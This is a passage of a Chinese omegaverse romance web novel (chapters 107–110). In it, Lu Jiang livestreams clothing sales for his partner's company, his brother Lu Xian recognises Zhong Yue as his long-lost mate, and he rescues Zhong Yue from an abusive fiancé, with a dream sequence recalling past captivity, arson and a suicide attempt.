“喜欢。” “喜欢还不够。” 景凉看他那么大一只,又开始撒娇,他真的一点抵抗力都没有,这种反差萌太要命了! 他迅速在卢绛的唇上吻了下,双眼深情的盯着他,缓缓从双唇吐出那三个字:“我爱你。” 卢绛呼吸急促,用力重新吻了回去,他释放出的信息素浓烈愉悦,层层将景凉包裹。 * 次日清早两人都起晚了,因为双休所以没调闹钟,阿姨准备了早餐,久久都没有人下来吃,屋子里静悄悄的。 昨夜卢绛压着景凉,do到了凌晨,景凉实在是承受不住开口求饶,他清纯不黯世事的小alpha已经逐渐变坏。 突然一阵来电铃声响起,卢绛眯着眼开始找自己的手机,困得不行,迷迷糊糊接了电话。 那端传来霍临的声音:“你把那个谁,给开了?” “哪个谁?谁开了?” “你昨晚不是发了一封解雇邮件吗?叫,啊刘义守。” “哦,害群之马。” “他业务能力还是不错的,人品确实有待商榷。” “谁给他的权利?带着公司的签约主播和公司艺人出来抛头露面,做这种酒局,我们是正经公司。” “他怎么得罪你了?” “嗯……”卢绛清醒了不清,拿起手机去了阳台,将昨晚的事情简单陈述了一遍。 听完霍临感叹了声:“那倒也不冤,不过水太清则无鱼,干娱乐这一行,很多事情是难避免的。” “我知道,我知道有灰色的地带,但这个人,我觉得不是个好人,贪婪、虚伪、狐假虎威,这种人手上只有一点权利就开始作恶,他没资格赚这些钱。我也不允许这样的人在我的眼皮子底下跳来跳去。” 霍临深知他是什么脾气,于是没有再劝他,只是疑惑问道:“你的账号权限开放了?” “嗯,我打算直播。” “不是,你说什么?我没听错吧?你不是死也不干这个吗?” “我给凉哥做一下直播,带个货而己,你用得着这么惊讶?” “我的天哪!”霍临惊叹了声:“你是不是对你那个账号的流量一点概念都没有?” “如果这些身外之物能让他开心,那这个账号的流量才有了它的价值。” “……” 霍临感慨不己,“像你这样的,我特么都想谈了!” “你别想!我只是把你当兄弟,绝不可能喜欢你。” “cao!”霍临在那边笑得好大声,他知道卢绛在开玩笑,但谁特么一本正经开玩笑? “你放心,我才不喜欢臭臭的alpha,行了,我不跟你说了,等会还有个早会,回聊。” “拜。”卢绛挂断电话,又继续回去抱着景凉睡回笼觉。 钟悦订婚的那条新闻被顶上了各大首页,也算是今年帝都比较热的一条新闻了。 钟氏与秦氏强强联手,影响了相关行业未来的走向与前途,同行的在紧密关注,喜欢看豪门狗血八点档八卦的网友也在紧扒实事。 陪景凉在家度过了一个愉快轻松的周末,卢绛精气神从所未来的清爽,觉得做什么都有着使不完的力气。 现在的生活状态,是他最满意的一种状态,工作和学习都已经步入正轨,感情也很稳定。 正午,他去学校附近的咖啡厅里买了一杯咖啡,找了个位置翻看着图书馆借来的书,查找一些相关论文和资料。 手机信息提示音响起。 他不紧不慢拿起看了眼,是钟悦发来的定位请求。 卢绛犹豫了几秒,接受了对方的定位请求。 看对面的位置,居然也在他们大学附近,哦,也对,他好像是大学快要毕业了。 约是十分钟左右,咖啡店门口的门铃响了,钟锐穿着简单的毛衣牛仔裤,朝卢绛走了过去。 “卢绛。” 卢绛猛地从书里抬起脸,冲他笑笑:“请坐,你想喝什么我去给你买。” “焦糖玛奇朵。” “好,稍等。” 卢绛起身走到柜台前,这家咖啡门店不是很大,但咖啡豆是手工现磨的,口感醇香浓郁,价格比较贵,不是什么品牌,所以顾客不多。 前面还有一个在排队,第二个工位突然走过来一个身形高大的帅哥,叫了卢绛一声:“这边来排,你要点什么?” “卢羡,你来上班了?” “废话,要点什么,快点。” “焦糖玛奇朵。” 卢羡不由多看了他一眼,嘀咕了句:“甜啦吧唧的。” “甜的也很好喝。”卢绛笑了笑:“你喝什么,我给你点一杯。” “不必。” 卢羡手脚十分麻利,给快给做好了,见卢羡要扫码付码,卢羡拿手遮住了二维码,“我请你,拿了快滚,别碍我眼。” “你打工还有钱请我喝咖啡?” “你别管我,爱喝不喝。” “哦~那好吧。谢谢你,不过这不是我点的。” 卢绛拿了咖啡回了座位,卢羡疑惑的抬头扫了眼他那方向,只见有个背影很漂亮的omega背对着他坐着,正与卢绛聊着什么。 突然那omega回头看了他一眼,冲他礼貌笑了笑,才收回了视线。 卢羡的心脏莫名突突跳了两下,乱了呼吸。 是个很漂亮很干净的omega,仿佛像上好的瓷器,轻轻一碰就会碎掉。 卢羡紧锁着眉,用力甩了甩头,摒弃掉了脑海里多余的想法。 他真是疯了,再怎么好看的omega跟他有什么关系?他不可能再重新开始一段新的感情,他只有一个omega,而他的omega早在五年前已经死了。 一颗躁动的心又迅速被冰封,卢羡就像一潭死水,只是为了活着而活着。 “你跟你哥,长得很像。” 卢绛点头:“不止你一个人这么说,我们确实长得像,身形也很像。” 听到这句话,钟悦脑海里突然闪过一丝灵光,心脏紧了下。 “你哥他……他一直是生活在帝都吗?” “没有,他是在今年年初才回的卢家,算起来也快一年了。” “他以前在哪里?” 卢绛的表情有些不自在,这涉及到卢羡的隐私,他应该也不会想让人知道自己不堪的过往。 “生活在一个小镇里。” “你说,他叫什么来着?” “卢羡。” “卢羡……” 脑海里一道久远回忆里的声音响起。 ——你不告诉我名字,那我以后就叫你桃花了,我叫……我叫卢绛,卢绛……是我的名字。 他当时为什么要重复‘卢绛’这个名字呢? 透着一丝不确定与不安。 如果,那个alpha他根本就不叫卢绛,那……会是他吗? 或许从一开始他就认错了人。 他不由再次回头看去,只见他正拿手机处着新的订单,眉头微微蹙起,工作时很认真很严谨。 Alpha的直觉很敏锐,他知道那个omega在看自己,那样的眼神甚至有些无礼,让他很烦闷。 第108章 第108章 你小子活该有老婆!哭死…… 卢羡抬眸, 凶狠的瞪了钟悦一眼,钟悦心脏紧了下,慌乱的收回了视线。 卢绛发现了他神情惊慌,疑惑问了句:“你还好吗?” 钟悦冲他笑笑:“没, 没什么。” “你找我什么事?” 钟悦紧握着口袋里的订婚请贴, 迟迟没有掏出来,只是摇了摇头:“就是, 突然想找你喝杯咖啡。” “你跟秦家, 是商业联姻吧?” “是。” 卢绛暗抽了口气, “你大学毕业了吗?” “明年才毕业, 我念的是大专。”钟悦轻啜了口咖啡,心不在焉。 彼此一阵要命的尴尬,静默了许久,卢绛突然想起什么, 说道:“我那天回去想了很久, 有没有可能,你是认错人了?我一直都在帝都长大, 除了念大学去了南城, 没有离开过,我们之间……应该也没什么交集吧?” “你说得对, 我大概是认错人了, 他不是你。” “哦……”卢绛若有所思点了点头:“那, 有什么我能帮你的吗?” “谢谢, 我可能已经找到他了。” “那真是太好了, 替你感到高兴。”卢绛真诚的替他高兴,又不免有些担心,秦家有两个儿子, 也不知道他订婚的是哪一个,反正在帝都二代圈子里,好像评价都不怎么好。 但这毕竟是他的私事,卢绛没再多问,钟悦放下咖啡杯说道:“谢谢你的咖啡,我还有事,先走一步。” “啊……好,再见。” “嗯,再见。” 钟悦没有直接离开,而是去了柜台点单。 “你好,再要一杯焦糖玛奇朵。” “稍等。”卢羡没有抬头看他,只是指了下二维码:“这里可以扫码。” 他前面好像还有好几单网络订单,所以钟悦等了好些时间,卢羡干活很利索,打包装袋一气呵成。 怕他等得有些不耐烦,卢羡说道:“现在做你的,在这里还是打包带走?” “打包。”钟悦一直打量着他,从眉眼到身形,再到修长的手指。 记忆里太暗了,拼凑了所有也凑不出他的模样。 不知不觉钟悦看入了神,直到卢羡喊了他两声,他才恍然回过神来,看他将打包好的咖啡递到了他眼前。 卢羡眉头皱得都快打成一个结,这omega真够花痴的,之前也有不少omega会偷看他,但不会像他这样看得丢了魂。 钟悦俊俏的脸浮现一抹红润,淡淡道了声谢,伸手去接时有意的触碰到了卢羡的指尖,释放出了自己一点信息素。 那一瞬间卢羡的灵魂仿佛在震颤,一阵酥麻感从指尖流窜到尾脊骨,是蚀骨的桃花味,他猛然抬头看向钟悦,呼吸紧促。 但他很快又冷静了下来,这世间上有很多omega都是桃花味,但不是每一个都是小桃花。 何况他做了永久标记,不可能会认错人的。 他,没有反应? 钟悦失落至极,紧抿着唇,眼眶涩疼。 “还有事吗?” “没,没事。” “那麻烦你让让,别挡着后面的客人。” “抱歉,我马上走。” 钟悦窘迫地红了耳尖,转身逃也似的跑出了别啡厅。 待他转身离开,卢羡眸光幽远微微失了神,刚才那一瞬的灵魂共鸣是错觉吗?可他拥有桃花味的信息素。 卢绛看了眼腕表,下午上课的时间快到了,他收拾了书包正准备离开。 对面有人拉开了椅子,坐下,“刚才和你一起喝咖啡的omega,你认识?” 卢绛怔愣了片刻:“我不认识,干嘛请他喝咖啡?” 卢羡一阵不爽,“你就说你认识不就行了吗?” “哦,我认识,怎么了?” 卢羡将一张便签傲骄的扔在他面前,抬了抬下巴:“把他联系方式写下来给我。” “嗯……”卢绛有些犹豫。 “写啊!” “哥,这样不行。” “哪里不行?” “没有经过他的同意,我就把他的联系方式给你,这样是不对的。” 卢羡拳头发痒,有点想揍人。 他见卢绛掏出了手机,说道:“我帮你问问他,要是他愿意给你……” 还未等他说完,卢羡夺过他的手机,删了信息,锁屏还给了他,“那算了,就当我没问你。” 本来是想留个号码有个念想,万一,万一呢? 他心里明知道这个万一太渺茫了。 卢绛心里一阵雀跃,终于发现卢羡对一个人感兴趣了! 但又怕引起卢羡的逆反,没有多问,只是记在了心里,“明晚上要出来玩吗?” “没空,要打工。” “我会约钟悦出来。” 卢羡酷哥的表情有了些动容,死鸭子嘴硬:“你约他关我什么事?你不是有omega了吗?怎么?家里那个烦了,想在外边找新鲜?” “你把我想成什么人了?”卢绛将背包甩上肩,“大家都是认识的,约出来聚一聚而己,你不来算了。” “在哪?” “市区有家新开的,听说能玩的很多,最近很火的。” “再说吧。”丢下这句话卢羡转身回到了工作岗位,继续当勤劳的小蜜蜂。 下午五点下课,卢绛赶去了景凉的公司。 他们公司正在为直播的事情加班开会。 卢绛在休息区做课后习题,等他们出来后已经是晚上七点,他们对卢绛已经不陌生,看到他时都不由兴奋的低声讨论起来。 “快看,小景总家的alpha来了。” “每次都能帅哭我。” “果然优秀的人永远是和优秀的人在一起,慕了。” “帅是其次,主要是性格稳定又很有礼貌的。” “现在alpha几个有修养的?脾气坏得嘞!” …… 卢绛看到他们员工出来,收起了课后习题,上前微笑着点头致意,冷酷的外表却又显得那么乖巧。 直到景凉出来,卢绛的微笑渐深,如一阵小旋风快步迎了上去。 “凉哥。” 景凉从会议资料中抬头看去,一脸惊喜:“你怎么来了?我不是让你自己回家吃饭吗?现在都七点了。” “你们直播室腾出来了吗?八点我打算试播一下。” 景凉欣喜万分,这实在太难得了,他竟然对自己工作上的事也这么上心,一直记着。 “腾是腾出来了,就是有点乱,东西才刚搬进去……” “没关系,只是试播而己。” “那好,周洲,你们先回去吧,我和阿绛去一趟直播室。” 周洲给他们做了一个加油的手势,笑着转身走进了电梯。 正如景凉所说,直播室里堆着一地未拆封的货,还有好几个衣架上挂着一些旧款。 背景墙还没来得及做,只有一个柜台和一台电脑。 卢绛快速将设备连接好,试了下,没有问题。 “公司现在诉求是什么?” 景凉将衣架上的货品推了进来,“前两年的旧款,需要清仓出去。” 从三年前开始销售额就一直在下滑,仓库堆积了不少货物,如果不想办法推销出去,大多只能烂在仓库里。 现在大牌的竞争越来越激烈,他们也在想办法改办公司品牌的设计方案和念。 “你帮我挑一套衣服?我试播穿。” “好。” 景凉从里面拿了一条米色的吉普休闲裤,搭配了一件去年卖得比较火的冲锋外套,都是以实用和舒适为主,款式主打简约大方的常服。 毕竟曾经是做到国民品牌的,这是他们最大的优势。 “试衣间还没……” 卢绛直接在他面前换起了衣服,看他一脸错愕的模样,还反问了景凉一句:“你要回避吗?” 景凉抱着双臂,一副好整以暇的盯着他:“我有什么好回避的,反正你都愿意脱给我看了。” 卢绛抿唇憋着笑,故作镇定! 景凉上前替他了下后领,配了一些饰品,打了一下细节,“好看的,我家阿绛穿什么都好看。” 卢绛伸手把他抱在怀里,下巴在他的颈窝蹭了蹭,他最近的信息素变浓了。 “发情期还有几天?” 景凉浑身发热,微微薰红了红颊,嗓音微哑:“还有一个星期呢!。” 卢绛的易感期也是一个星期后,AO结合后,信息素会互相影响渐渐同步。 卢绛捧过他的脸,情不自禁的温柔吻住了他的唇,彼此相拥缠绵了许久,才恋恋不舍的分开。 “先吃饭吧,你肚子不饿?”景凉轻咳了下嗓门儿,正了正色。 “去后街那家吃牛肉面吧!好久没吃了。” “听你的。” 卢绛笑眯了眼,牵起他高兴地往公司外走去。 两人吃完面又回到了公司,时间正好。 卢绛提前五分钟打开了直播间,粉丝疯狂涌入。 卢绛还在调镜头,一直在晃动,只能看到他脖子以下在捣鼓什么。 【好激动呀!好了吗好了吗?】 【让我看看你小子的庐山真面目!】 【怎么镜头还在晃?】 【赌一百块是个丑东西。】 …… 调好镜头,卢绛退后了几步,坐在了沙发上和镜头前的粉丝打着招呼。 “大家晚上好,自我介绍一下,我是卢绛。” 【┗|`O′|┛嗷~~是卢绛!!卢酱,你好帅啊!】 【老公在哪里?我只是想好心给你送杯奶茶,绝对不是想给你套麻袋。】 【老公你说话呀!】 卢绛紧锁着眉头,一脸嫌弃看着快速滚动的屏幕,“不要叫老公,谢谢你们,我的omega现在和我在一起,他在看我直播,你们这样很冒犯。” 【有些花痴听不懂人话吗?都多少次了,让你们别随便叫‘老公’,人家omega在呢!噫!狗粮真好吃。】 【卢酱今晚好帅啊,冲锋衣也好看,想要同款。】 【卢酱也要直播卖货了吗?帝都第一富少,混成这样了?】 【卢家前一段时间的传闻都是真的吧?你家破产啦?】 “家里没有破产,这是景氏的品牌,今天是试播没有打算卖货。想要跟我同款的衣服,明晚八点直播间。” 【你小子活该有老婆!哭死,我什么时候也能捡个这样的alpha回家?姐姐有钱!】 【楼上的姐姐看我,我很乖的。】 第109章 第109章 你一定要活着,你要去看看…… 试播的第一天十分顺利, 网友发现卢绛不是不会开玩笑,而是一本正经开玩笑,让人感觉不出来他到底是认真的还是回应你的玩笑话。 莫名庄重的感觉,让网友也渐渐收敛了在网上胡诌八咧的口嗨行为。 之后问价的问价, 该推货的时候推货, 偶尔回应网友的好奇心。 九点半退播时,发了一个几万块钱的红包, 试播完美结束。 “你直播挺好的!”景凉叹了声。 之前见他很排斥, 以为他是不适应这种镜头前的肢体和语言, 但相反他很上镜而且很淡定, 反应迅敏口齿伶俐清晰。 控场的能力是很强的,不过alpha天生就有这种控场主导的能力,这也是为什么世界上领导多为alpha的原因。 “回家了,好累。”卢绛又赖在他身上不想起来了。 景凉摸摸他的头发:“辛苦了, 你要是不太喜欢, 其实不一定需要你来,下课还要过来直播确实会很累。” “没关系, 前一个星期我带着他们做, 之后你们公司再找可靠的主播替我。让他们有个适应的过程。” “你知不知道这要换成利益,该值多少钱?” “你开心就好, 我想看你成功, 每天都意气风发的, 如果有一天你站在金字塔的顶端, 我也会为你自豪, 我只是为你做我力所能及的事情,跟金钱无关,也不费力气, 心意换心意。” 景凉心口一阵酸胀与甜蜜交加,“遇见你,真的是我此生最幸运的事。” “我也是。”卢绛认真的看着他的眼睛,将景凉眼里所有的热烈与真挚都尽收眼底,没有丝毫躲避。 他要将景凉的一切,全都接纳,不管是好的还是坏的。 回去的车上,卢绛突然想起明天的约,说道:“我明天晚上约了人一起去玩,你要不要一起?” 景凉挑眉,“交新朋友了?” “不算新朋友,是钟悦,还有卢羡。” “啊?”景凉不由一阵惊诧:“这是怎么扯到一起去了?” 卢绛:“我觉得卢羡对钟悦不太一样。” 景凉懂了,“你这是替你这个哥哥操心人生呢?” 卢绛心情不由凝重:“阿羡他本不应该经历那样的人生,过去的事情我不太想再追究是非对错,谁欠了谁……那些已经不重要了,重要的是活着的人,我希望他能得到快乐。” 景凉深吸了口气,冲淡了那股涌上来的酸涩感,他不由微笑着紧扣着他的手,“你说得对,过去已经不重要了,我们要向前看。” “嗯。”卢绛也跟着微笑着用力点了下头。 卢绛回去给钟悦发了邀请,钟悦不由疑惑。 【钟悦:怎么突然想约我出去?】 【卢绛:不是我,是有别人想约你出去。】 不知为何,钟悦下意识脑子里闪过卢羡的身影,心中不由有些期待。 【钟悦:好,明天哪里见?】 【卢绛:市中心新开发的女吴乐城,在正门口六点,不见不散。】 【钟悦:嗯,好的。】 卢绛又给卢羡打了一个电话,等了许久,那端才懒洋洋的接了电话。 “干嘛?”他咬着烟,吐字有些模糊。 “明天晚上出去玩呀!” “我不去,我要打工。” “去吧,钟悦也会去。” “他去不去干我什么事?” “哦,那好吧,我回绝他,说明天不去了。”用着遗憾的语气说着,准备挂断电话。 “等一下……” “还有什么事吗?” “我明天,调个班。” 卢绛强忍住笑,似是比无严肃的回应着:“那你明天穿得帅一点,人家omega肯定会打扮得很漂亮,你要是太挫了,站在人家旁边会有那么点不搭。” “卢绛你什么意思?” “没什么意思,哥,晚安。” * 钟悦正准备睡觉,突然门被敲响,他上前开了门,是他omega弟弟。 他们同父异母,他是钟家第一个孩子,母亲和父亲离婚后,他就再也没见过她。 后妈进门第一年就很争气的生了钟瑾,第三年生了一个alpha弟弟钟霆。 这些年他没在家里,与这些人几乎没有任何感情可言。 “我明天晚上有朋友过来,你上次做的点心很好吃,也帮我准备呗。” 钟悦嚅了嚅唇,平时他是不会拒绝的,毕竟只是小事,他也很喜欢做这些点心,但明天有很重要的约,于是他拒绝了。 “我明天要出门。” “什么?我没听错吧?你不是没朋友吗?每天五点准时回家,哦对了,秦昭也会过来,你应该知道要怎么讨一个alpha的欢心吧?” “我有朋友,你找别人吧。” 语落,钟悦没好气的关上了门,钟瑾气得狠捶了几下门。 “钟悦,你当你自己真是什么高贵的小少爷?一个被玩烂的被永久标记过的omega,就是个破鞋,你以为你洗了标记就当永远没有发生过吗?我一定告诉秦昭你是个什么烂货!” 钟悦闭目做了个深呼吸,就当狗吠了,他没力气跟他们吵。 戴上耳机,靠在床上继续拿手绘板画着图稿,他现在的身份是个网络画手,有一定的名气,能自给自足养活自己。 可能是最近总是梦到过去,那一场大火,让他睡得很不好,眼前的画面渐渐模糊,不知不觉靠着床头睡去。 耳畔熟悉的少年在低语,起先模糊,后来清晰。 “等我们出去了,我们就结婚好不好?桃花,你会愿意和我在一起吗?” “我虽然什么都没有,但是我会努力赚钱养你的,我会给你买戒指,还有漂亮的衣服,我会对你很好的。” “桃花,你说话呀!” 他也想答应他,但是嗓子涩哑得发疼,他拼命的扯着喉咙,却挤不出声音。 “连你……也不想要我吗?我是不是很差劲?” 他在黑暗里伸出手,摸索着指尖触碰到他被泪水打湿的脸颊,找回了自己的声音,“不是的,如果有一天能出去,我们就在一起,我要你。” 梦中的画面跳转,仿佛灵魂出窍,他看到自己躺在冰冷手术台上,那是一家很偏僻条件极差的诊所。 麻药清醒他还有意识,他看到有人抱走了刚出生的孩子,他很着急不断的祈求着医生,把孩子还给他。 医生看着他,满眼怜悯,却是摇了摇头,表示他也无能为力。 他只能哭,那种悲伤无法言说,撕心裂肺再撒上盐巴,几乎让人痛不欲生。 第三次发情期,他再次被送回黑暗的铁笼子里,alpha颤抖着手去摸他的肚子,他已经明白了一些事情,他知道他肚子里的孩子已经不在了。 他压抑的哭声如绵密的针,刺进彼此的心里,痛恨又无能为力。 这一次的发情期,alpha宁愿自残,也没有要他,痛苦至极时,只有他耳边咬牙切齿的恨意,呢喃着:“我一定要杀了他们,我想让他们死!!” “阿绛,我好害怕……” 他怕他的alpha也会死在这暗无天日的囚笼里。 “你放心,阿绛,你再等等我,我一定会带你逃出去。” 他得了很严重的抑郁症,自残的伤口到处都是,所幸医生还有点良知,他知道再这样下去,他活不下去的。 “我知道你想逃,我可以帮你们,前提是你要停止自残的行为,首先想办法活下去。” “你不会骗我吧?” “嗯,不骗你,走吧,离开这个吃人的地方,和他远走高飞。去另一个没有人认识你们的地方重新开始,这里的一切都忘了。” “你为什么会帮我?” 医生看着他没有说话,迎着他闪烁满是期待的目光时,沉默躲开了他的视线。 他想藏着的爱慕太过明显,钟悦知道了,假装没有察觉。 在一天晚上,医生以替他治伤的名议留下,给他解开了锁链,解开锁链的那一瞬间,他不是得到解脱,而是身体里压抑的魔鬼终于释放了出来。 他没有选择和alpha一起离开,他让医生将alpha送到了村口,骗他说在公交站台等他。 大火点燃的那一瞬间,他狂笑不止,像个疯子,一边笑一边迎着夜风狂跑。 太好了,烧吧!把这里一切都烧得干干净净。 让所有的一切都化成一捧灰,让风吹散,找不到痕迹,也就当没有发生过。 他跑到了悬崖,失去了身体里所有的力气,如秋天泛黄的落叶,摇摇欲坠。 “阿绛,你说过你想让他们死,我把他们都杀了!可我活不下去了……你一定要活着,你要去看看外面的世界。” 他笑着义无反顾纵身从悬崖一跃而下…… 失重的感觉很糟糕,头疼欲裂,仿佛整个人要被黑暗吞噬。 钟悦满身冷汗从梦里惊醒,瞪大着惊恐的双眼,眼底过了许久才有了神光,他动了动疲惫的身体,浑身黏腻不堪,像是从水里捞起,难受至极。 他撑起身子,坐在床沿许久,看了眼时间,又是凌晨两点半。 每次梦到这些梦,便再也睡不着。 他拿了干净的睡衣去浴室冲了个澡,回到房间继续睡前未完成的画。 第二天他请了假没去学院,迷迷糊糊补了个觉,醒来时,已经下午四点,又是乱七八糟的一些梦,好累! 想起昨晚的约,他起床精心挑了一套既休闲看起来又比较精致点的套装,头发用夹板打了下,看着镜子里清爽干净的自己,钟悦满意一笑。 挺好的,就这么去见他吧,希望他会喜欢。 下午五点半,卢绛与景凉一起来到约定的地方碰面,没想到口嫌体直的卢羡比他们早到。 钟悦还没有来,不过他们约的是六点,于是他们找了一个地方坐下,点了些喝的慢慢等。 这一等,却等到了晚上七点。 卢绛偷偷看向卢羡,虽然面上不显,但他的情绪能感觉很低落。 “我现在给他打电话,钟悦他不会随意爽约的,明明昨晚还答应得很开心,肯定是有什么事耽搁了。” 电话响了许久,那端才有人接听,但不是钟悦的声音。 第110章 第110章 因为桃花活着,所以对所有…… 卢绛神情不由严肃起来。 “你谁啊?”电话那端的男人声音很冲, 听着语气比较粗俗,“问你呢,说话啊!” “我找钟悦,麻烦你把电话给他。” “钟悦啊?他现在没时间接你电话, 没事的话我挂了。” 还未等卢绛说话, 那端已经迅速地挂断了电话。 “他不会被人欺负了吧?” 卢绛说完这句话,卢羡也坐不住了:“知道他家地址吗?” “我们要这样闯他家里去?”卢绛不确定地问了句。 “只是去探望一下朋友, 为什么不能去?”卢羡的语气明显有些烦躁。 此时, 景凉已经打探出了钟家别墅的地址, “找到了, 先上车吧,现在就过去。” 三人一起上了车,赶去了钟家。 此时钟家别墅外停了许多跑车,才刚一下车, 便听到里面隐隐传来重金属音乐。 景凉看到周洲给出的消息, 今天钟家夫妇出国去谈生意了,只留了儿女们在家里。 所以钟瑾才会邀了他那些狐朋狗友上家里开趴。 按了许久的门铃, 家里的管家才不紧不慢的过来开门, 看到都是陌生的面孔,有些戒备。 “请问三位找谁?” 景凉笑道:“找你们家小少爷, 我们是他朋友, 也是来参加聚会的。” 听他们这么一说, 管家便没再多问, 就这么放他们进去了。 一进大厅, 烟雾缭绕群魔乱舞,音乐声震耳欲聋。 他们并未察觉有三个人进来了,场面过于混乱。 卢绛找到音响的插头, 把电源给他们断了。 一群人惯性摇了会儿,发现音乐没了,还以为是音响出了故障,往那一看,站着个极高压迫力极强的alpha。 不少omega已经开始原地打听:“我kao,好帅啊!这谁请来的alpha,求介绍认识。” 钟瑾也是懵了:“我也不认识啊,我没请他们。” 卢羡嚎了一嗓门儿:“钟悦在哪里?我们找他有事。” 钟瑾一听是来找钟悦的,立即想到之前的那通电话,听秦昭说是钟悦的朋友接的,看来是他那些朋友觉得不对劲,所以找上门来了。 钟瑾不爽的笑了声,上前愤怒道:“喂,你们三个,是过来挑事的吗?我警告你们赶紧离开钟家,否则我现在报警就告你们私闯民宅!” 不知为何卢羡有种隐隐不安的感觉,这种感觉并不是没有依据,就好像之前他标记了桃花,也会有强烈的心灵感应和信息素的感应。 只是现在感应没有那么强,他并不确定钟悦到底是不是他在等的那个人,但是此时此刻,钟悦因为桃花的影响,在他心中已经不一般了。 “我再问一遍,钟悦在哪?”卢羡从未在外轻易释放过自己的信息素,是一种楠木香,平时闻着会觉淡雅清幽,但此时他的攻击性很强,A+信息素释放出来的压迫感,让所有人胆寒。 “在,在楼上,房间里。”钟瑾额头满是冷汗,浑身颤抖,“你能不能,把信息素收起来?” “带我过去。”卢羡的命令让钟瑾无法拒绝,见他乖乖点头,他收回了自己的信息素。 钟瑾腿有些发软,扶着楼梯扶手,一脸警惕的盯着卢羡,恨得咬紧了牙。 卢绛牵着景凉在外边等着,希望没有什么事。 刚才卢羡的反应让人很惊叹,好像对什么都无所谓,透着淡淡的死感的人,会有那么浓烈的情感,在那一瞬间爆发,让卢绛都觉得有些后怕。 景凉被标记了,对卢羡的信息素并不受任何影响,只是说道:“你和卢羡的信息素,都是木质的,也都挺好闻的。” 卢绛听了竟有些吃醋,把景凉圈进自己怀里,用自己的信息素将他全身上下,从头到脚覆盖了一遍。 看到alpha的反应,景凉意识到自己刚才说错了话,他抬手揉了揉他的头发:“不过阿绛的信息素是最好闻的,我最喜欢的是你的信息素。” 钟悦的房间从外反锁了,如果没有钥匙打不开。 钟瑾将钥匙从口袋里拿了出来,替卢羡打开了门,钟瑾没进去,趁机跑了。 卢羡刚一走进去,便闻到了其他alpha的信息素,一个B级的想要诱导omega发情,费了不少力气。 浴室门不断的被人拍响,秦昭精虫上脑持续在外边大喊:“钟悦,你开门,我知道你也受不了了吧?哈哈哈……反正我们都订婚了,先让我玩玩怎么了?啊?装什么啊!你再不开门,我就把这张门给卸了!快开门!!” 下一秒秦昭只觉头皮发紧,一只宽大的手掌拽着他的头发,将他往后拖,他整个人往后跌去,重心从在头皮上,疼得他顾不上alpha的体面,哇哇乱叫。 “啊啊啊……放开我!你谁啊?!” 卢羡拖着他来到阳台,双眼布满血丝,满是狠戾之色,“你这样跟畜生有什么区别?” “关你什么事?我上我的omega,关你什么事?!Cao,你tm到底是谁?” “他不是你的omega。” “我们订婚了,马上就要结婚了,你凭什么说他不是?我知道了,哈……你是不是钟悦在外边的小情人?你知道我是谁吗?知道帝都秦家吗?得罪我,你tm不想活……啊!!!” 卢羡一把提起他,像扔条死狗一样,将他从二楼阳台扔到了楼下的草坪里。 “拜拜。”卢羡朝他挥挥手,转身关了阳台的门。 卢羡靠着阳台的门冷静了片刻,才缓缓走到浴室门口。 他深吸了口气,开口问道:“你还好吗?” “谁?”里面传来一个急促带着颤抖的声音,满是防备。 卢羡:“我,我叫卢羡……” 他不知道该如何解释自己来了这里,为什么要来这里,还把他的未婚夫扔了下去。 久久,也只有这一句话——我叫卢羡。 浴室的门应声打开,扑面而来的桃花香味几乎要将卢羡淹没。 他发情了! 钟悦扑进他的怀里,纤细白皙的手臂挽过他的脖子,双眼迷蒙,微凉挺俏的鼻尖在他的颈窝处蹭着,“让我闻闻你的信息素,卢羡,求你。” 卢羡的心脏仿佛被锤子重击了下,信息素……太像了。 “桃花?” 钟悦吓了一跳,整个人瞬间清醒了不少:“你,你叫我什么?” “小桃花,桃花的味道,好香……”卢羡的神情渐渐迷醉。 “别!”钟悦推开了他:“帮我,帮我拿抑制剂。” 他现在有很重要的事情需要确定,不能这么草率,万一又认错人了怎么办? 卢羡有很强的自制力,在钟悦推开他的一瞬,他就已经清醒过来,极力克制自己失控的信息素,压低的嗓音透着一丝烦躁:“在哪?” “在床头柜抽屉,左边……”钟悦踉跄了两步靠着墙,滑从在了地板上,呼吸越见凌乱。 卢羡打开了窗户透气,让一屋子桃花味散去,在他的抽屉里找到了药剂和药片,“用哪个?” “把药剂拿过来,药片的效果太慢了。” 卢羡拿过药剂撕开了塑料包装袋,朝他走过去,钟悦伸手想要接过来,卢羡在他面前蹲下身道:“我帮你打。” 钟悦怔愣了片刻,眼里满是氤氲的泪光,盯着他呆呆点了下头。 替他注射药剂后,钟悦失控的信息素才渐渐稳定下来,浑身都是汗水浸透,像是刚从水里捞起,因之前强忍的情潮,白皙的皮肤泛着一层淡淡的粉色。 长卷的眼睫上还沾着水珠,脆弱脱力的靠在卢羡肩头,许久没有动弹。 卢羡连大气都不敢出,小心翼翼打量着他,像上好的瓷器一样,一碰仿佛就会碎的omega…… 等了许久,钟悦才找回力气说话,“刚才,谢谢你。” “你有没有好点?” “嗯,好了许多。” “你……”本想问他要不要洗澡,但突然想起,omega这个情况洗澡,很容易生病着凉,“我抱你去床上躺着。” “嗯。”钟悦始终紧闭着眼,看起来还是不太舒服的样子。 卢羡抱他回了床上,他的衣服被汗湿了,需要及时换下来。 他想起楼下的景凉,或许能帮他把衣服换掉。 见他起身要走,钟悦慌张的拉住了他的手腕:“别走!” “我没有要走,”卢羡又重新坐回了床沿:“我去找个omega帮你把衣服换了,这样应该会舒服许多。” “你别走……”他满眼祈求的看着他,害怕他转身走开,就再也找不到了。 卢羡看着他心口泛起无尽的酸楚与疼惜,他想开口问问,到底是不是他在等的小桃花,可是他又不敢。 万一问了不是呢? 万一他根本不想记起,问了让他伤心呢? 正当卢羡内心苦苦挣扎时,钟悦冰凉的手轻抚上他的脸颊,轻声问他:“是你吗?我的alpha。” 钟悦问出这句话时,卢羡看着他的眼睛,只是这一个眼神,便确定了他找的答案。 卢羡释放出自己的信息素,轻轻安抚着他。 是很淡雅又高级的楠木香,卢羡的泪珠涌出眼眶,他小心翼翼的靠近钟悦,声色哽咽带着颤抖,“我给你的标记,已经没有了。” 破碎又伤心至极的诉说,犹如刀尖在钟悦心口划着。 “不是,不是你想的那样,不是我自己想要去掉的,我当时不记得与你的那些事情了,医生说是创伤后的应激障碍,我想不起来……” “是他们强行帮我洗掉的,我本来想留着,心里隐约觉得,大概是很重要很重要的,你别生气,好么?” 卢羡用力将他紧拥入怀中,摇了摇头:“我怎么会生气?我只是担心,洗标记很疼的。” “嗯……”钟悦委屈道:“真的很疼,很疼,心也很疼。” 卢羡闭目长舒了口气,总算了有了一丝释怀的笑容,“太好了,真的太好了。” 